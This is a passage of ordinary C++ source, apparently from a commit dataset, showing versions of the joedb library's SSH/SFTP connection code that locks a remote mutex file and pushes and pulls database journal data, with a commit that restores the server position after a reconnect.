S_IWUSR\n#define\tS_IWUSR\t0000200\n#endif\n\nnamespace joedb\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::lock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": lock()... \";\n\n  bool done = false;\n  const int max_attempts = 60;\n\n  for (int attempt = 1; attempt <= max_attempts; attempt++)\n  {\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    mutex_file_name.c_str(),\n    O_CREAT | O_EXCL,\n    S_IRUSR\n   );\n\n   if (file)\n   {\n    done = true;\n    sftp_close(file);\n    break;\n   }\n   else\n   {\n    if (trace)\n     std::cerr << \"Retrying(\" << attempt << \"\/\" << max_attempts << \")... \";\n    std::this_thread::sleep_for(std::chrono::seconds(1));\n   }\n  }\n\n  if (trace)\n  {\n   if (done)\n    std::cerr << \"done.\\n\";\n   else\n    std::cerr << \"timeout.\\n\";\n  }\n\n  if (!done)\n   throw Exception(\"SSH_Connection::lock: timeout\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::unlock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": unlock()\\n\";\n\n  if (sftp_unlink(sftp.get(), mutex_file_name.c_str()) < 0)\n   throw Exception(\"Error removing remote mutex\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": pull()... \";\n\n  server_position = 0;\n\n  try\n  {\n   ssh::SFTP_Attributes attributes\n   (\n    sftp_stat(sftp.get(), remote_file_name.c_str())\n   );\n\n   server_position = int64_t(attributes.get()->size);\n  }\n  catch (const joedb::Exception &)\n  {\n  }\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n\n  if (client_position < server_position)\n  {\n   std::vector<char> v(size_t(server_position - client_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_RDONLY,\n    S_IRUSR | S_IWUSR\n   );\n\n   if (file)\n   {\n    const int seek_result = sftp_seek64(file, uint64_t(client_position));\n    const ssize_t read_result = sftp_read(file, v.data(), v.size());\n    sftp_close(file);\n\n    if (seek_result < 0 || read_result != ssize_t(v.size()))\n     throw Exception(\"Error during sftp_read\");\n\n    client_journal.append_raw_tail(v);\n   }\n   else\n    throw Exception(\"Could not open remote file for reading\");\n  }\n  else if (server_position > 0 && client_position > server_position)\n   throw Exception(\"Trying to pull when ahead of server\");\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_push(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": push()... \";\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n  if (client_position > server_position)\n  {\n   std::vector<char> v(client_journal.get_raw_tail(server_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_WRONLY | O_CREAT,\n    S_IRUSR | S_IWUSR\n   );\n\n   const int seek_result = sftp_seek64(file, uint64_t(server_position));\n\n   if (file)\n   {\n    \/\/\n    \/\/ https:\/\/tools.ietf.org\/html\/draft-ietf-secsh-filexfer-00\n    \/\/\n    \/\/ The maximum size of a packet is in practise determined by the client\n    \/\/ (the maximum size of read or write requests that it sends, plus a few\n    \/\/ bytes of packet overhead).  All servers SHOULD support packets of at\n    \/\/ least 34000 bytes (where the packet size refers to the full length,\n    \/\/ including the header above).  This should allow for reads and writes of\n    \/\/ at most 32768 bytes.\n    \/\/\n    const size_t max_block_size = 32768;\n    const size_t size = v.size();\n    size_t written = 0;\n\n    while (seek_result >= 0 && written < size)\n    {\n     size_t block_size = size - written;\n\n     if (block_size > max_block_size)\n      block_size = max_block_size;\n\n     const ssize_t result = sftp_write(file, v.data() + written, block_size);\n\n     if (result <= 0)\n      break;\n\n     written += size_t(result);\n    }\n\n    sftp_close(file);\n\n    if (written < size)\n     throw Exception(\"Incomplete write during push\");\n   }\n   else\n    throw Exception(\"Could not open remote file for writing\");\n  }\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Connection::SSH_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  remote_file_name(remote_file_name),\n  trace(trace),\n  mutex_file_name(remote_file_name + \".mutex\"),\n  full_remote_name(user + \"@\" + host + \":\" + remote_file_name),\n  session\n  (\n   user,\n   host,\n   port,\n   ssh_log_level\n  ),\n  sftp(session),\n  server_position(0)\n {\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::retry(std::function<void()> f, bool call_reset)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  while (true)\n  {\n   try\n   {\n    f();\n    return;\n   }\n   catch(const std::runtime_error &e)\n   {\n    if (trace)\n     std::cerr << \"Error: \" << e.what() << '\\n';\n   }\n\n   if (trace)\n    std::cerr << \"Sleeping for \" << sleep_time << \" seconds...\\n\";\n\n   std::this_thread::sleep_for(std::chrono::seconds(sleep_time));\n\n   if (call_reset)\n   {\n    if (trace)\n     std::cerr << \"Trying to reconnect... \";\n    try\n    {\n     reset();\n     if (trace)\n      std::cerr << \"Success!\\n\";\n    }\n    catch(const std::runtime_error &e)\n    {\n     if (trace)\n      std::cerr << \"Error: \" << e.what() << '\\n';\n    }\n   }\n  }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::lock_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->lock_pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::push_unlock(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->push_unlock(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::reset()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  \/\/ Restoring the server position is better if we reset during a push\n  const int64_t server_position = connection ?\n   connection->server_position : 0;\n\n  connection.reset\n  (\n   new SSH_Connection\n   (\n    user,\n    host,\n    port,\n    remote_file_name,\n    trace,\n    ssh_log_level\n   )\n  );\n\n  connection->server_position = server_position;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Robust_Connection::SSH_Robust_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  user(user),\n  host(host),\n  port(port),\n  remote_file_name(remote_file_name),\n  trace(trace),\n  ssh_log_level(ssh_log_level)\n {\n  retry([this](){reset();}, false);\n }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#ifdef JOEDB_HAS_SSH\n\n#include \"joedb\/server\/SSH_Connection.h\"\n#include \"joedb\/Exception.h\"\n\n#include <fcntl.h>\n#include <thread>\n#include <chrono>\n#include <iostream>\n\n\/\/\n\/\/ Windows does not define those\n\/\/\n#ifndef S_IRUSR\n#define\tS_IRUSR\t0000400\n#endif\n\n#ifndef S_IWUSR\n#define\tS_IWUSR\t0000200\n#endif\n\nnamespace joedb\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::lock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": lock()... \";\n\n  bool done = false;\n  const int max_attempts = 60;\n\n  for (int attempt = 1; attempt <= max_attempts; attempt++)\n  {\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    mutex_file_name.c_str(),\n    O_CREAT | O_EXCL,\n    S_IRUSR\n   );\n\n   if (file)\n   {\n    done = true;\n    sftp_close(file);\n    break;\n   }\n   else\n   {\n    if (trace)\n     std::cerr << \"Retrying(\" << attempt << \"\/\" << max_attempts << \")... \";\n    std::this_thread::sleep_for(std::chrono::seconds(1));\n   }\n  }\n\n  if (trace)\n  {\n   if (done)\n    std::cerr << \"done.\\n\";\n   else\n    std::cerr << \"timeout.\\n\";\n  }\n\n  if (!done)\n   throw Exception(\"SSH_Connection::lock: timeout\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::unlock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": unlock()\\n\";\n\n  if (sftp_unlink(sftp.get(), mutex_file_name.c_str()) < 0)\n   throw Exception(\"Error removing remote mutex\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": pull()... \";\n\n  server_position = 0;\n\n  try\n  {\n   ssh::SFTP_Attributes attributes\n   (\n    sftp_stat(sftp.get(), remote_file_name.c_str())\n   );\n\n   server_position = int64_t(attributes.get()->size);\n  }\n  catch (const joedb::Exception &)\n  {\n  }\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n\n  if (client_position < server_position)\n  {\n   std::vector<char> v(size_t(server_position - client_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_RDONLY,\n    S_IRUSR | S_IWUSR\n   );\n\n   if (file)\n   {\n    const int seek_result = sftp_seek64(file, uint64_t(client_position));\n    const ssize_t read_result = sftp_read(file, v.data(), v.size());\n    sftp_close(file);\n\n    if (seek_result < 0 || read_result != ssize_t(v.size()))\n     throw Exception(\"Error during sftp_read\");\n\n    client_journal.append_raw_tail(v);\n   }\n   else\n    throw Exception(\"Could not open remote file for reading\");\n  }\n  else if (server_position > 0 && client_position > server_position)\n   throw Exception(\"Trying to pull when ahead of server\");\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_push(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": push()... \";\n\n  const int64_t client_position = client_journal.get_checkpoint_position();\n  if (client_position > server_position)\n  {\n   std::vector<char> v(client_journal.get_raw_tail(server_position));\n\n   if (trace)\n    std::cerr << v.size() << \" bytes... \";\n\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    remote_file_name.c_str(),\n    O_WRONLY | O_CREAT,\n    S_IRUSR | S_IWUSR\n   );\n\n   const int seek_result = sftp_seek64(file, uint64_t(server_position));\n\n   if (file)\n   {\n    \/\/\n    \/\/ https:\/\/tools.ietf.org\/html\/draft-ietf-secsh-filexfer-00\n    \/\/\n    \/\/ The maximum size of a packet is in practise determined by the client\n    \/\/ (the maximum size of read or write requests that it sends, plus a few\n    \/\/ bytes of packet overhead).  All servers SHOULD support packets of at\n    \/\/ least 34000 bytes (where the packet size refers to the full length,\n    \/\/ including the header above).  This should allow for reads and writes of\n    \/\/ at most 32768 bytes.\n    \/\/\n    const size_t max_block_size = 32768;\n    const size_t size = v.size();\n    size_t written = 0;\n\n    while (seek_result >= 0 && written < size)\n    {\n     size_t block_size = size - written;\n\n     if (block_size > max_block_size)\n      block_size = max_block_size;\n\n     const ssize_t result = sftp_write(file, v.data() + written, block_size);\n\n     if (result <= 0)\n      break;\n\n     written += size_t(result);\n    }\n\n    sftp_close(file);\n\n    if (written < size)\n     throw Exception(\"Incomplete write during push\");\n   }\n   else\n    throw Exception(\"Could not open remote file for writing\");\n  }\n\n  if (trace)\n   std::cerr << \"done\\n\";\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Connection::SSH_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  remote_file_name(remote_file_name),\n  trace(trace),\n  mutex_file_name(remote_file_name + \".mutex\"),\n  full_remote_name(user + \"@\" + host + \":\" + remote_file_name),\n  session\n  (\n   user,\n   host,\n   port,\n   ssh_log_level\n  ),\n  sftp(session),\n  server_position(0)\n {\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::retry(std::function<void()> f, bool call_reset)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  while (true)\n  {\n   try\n   {\n    f();\n    return;\n   }\n   catch(const std::runtime_error &e)\n   {\n    if (trace)\n     std::cerr << \"Error: \" << e.what() << '\\n';\n   }\n\n   if (trace)\n    std::cerr << \"Sleeping for \" << sleep_time << \" seconds...\\n\";\n\n   std::this_thread::sleep_for(std::chrono::seconds(sleep_time));\n\n   if (call_reset)\n   {\n    try\n    {\n     reset();\n    }\n    catch(const std::runtime_error &e)\n    {\n     if (trace)\n      std::cerr << \"Error: \" << e.what() << '\\n';\n    }\n   }\n  }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::lock_pull(Journal_File &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->lock_pull(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::push_unlock(Readonly_Journal &client_journal)\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  retry\n  (\n   [&client_journal,this](){connection->push_unlock(client_journal);},\n   true\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Robust_Connection::reset()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  connection.reset\n  (\n   new SSH_Connection\n   (\n    user,\n    host,\n    port,\n    remote_file_name,\n    trace,\n    ssh_log_level\n   )\n  );\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n SSH_Robust_Connection::SSH_Robust_Connection\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n (\n  std::string user,\n  std::string host,\n  int port,\n  std::string remote_file_name,\n  bool trace,\n  int ssh_log_level\n ):\n  user(user),\n  host(host),\n  port(port),\n  remote_file_name(remote_file_name),\n  trace(trace),\n  ssh_log_level(ssh_log_level)\n {\n  retry([this](){reset();}, false);\n }\n}\n\n#endif\n<commit_msg>SSH_Robust_Connection: restore server position when resetting the connection.<commit_after>#ifdef JOEDB_HAS_SSH\n\n#include \"joedb\/server\/SSH_Connection.h\"\n#include \"joedb\/Exception.h\"\n\n#include <fcntl.h>\n#include <thread>\n#include <chrono>\n#include <iostream>\n\n\/\/\n\/\/ Windows does not define those\n\/\/\n#ifndef S_IRUSR\n#define\tS_IRUSR\t0000400\n#endif\n\n#ifndef S_IWUSR\n#define\tS_IWUSR\t0000200\n#endif\n\nnamespace joedb\n{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::lock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": lock()... \";\n\n  bool done = false;\n  const int max_attempts = 60;\n\n  for (int attempt = 1; attempt <= max_attempts; attempt++)\n  {\n   sftp_file file = sftp_open\n   (\n    sftp.get(),\n    mutex_file_name.c_str(),\n    O_CREAT | O_EXCL,\n    S_IRUSR\n   );\n\n   if (file)\n   {\n    done = true;\n    sftp_close(file);\n    break;\n   }\n   else\n   {\n    if (trace)\n     std::cerr << \"Retrying(\" << attempt << \"\/\" << max_attempts << \")... \";\n    std::this_thread::sleep_for(std::chrono::seconds(1));\n   }\n  }\n\n  if (trace)\n  {\n   if (done)\n    std::cerr << \"done.\\n\";\n   else\n    std::cerr << \"timeout.\\n\";\n  }\n\n  if (!done)\n   throw Exception(\"SSH_Connection::lock: timeout\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::unlock()\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n {\n  if (trace)\n   std::cerr << full_remote_name << \": unlock()\\n\";\n\n  if (sftp_unlink(sftp.get(), mutex_file_name.c_str()) < 0)\n   throw Exception(\"Error removing remote mutex\");\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n void SSH_Connection::raw_pull(Journal_File &client_journal)\n 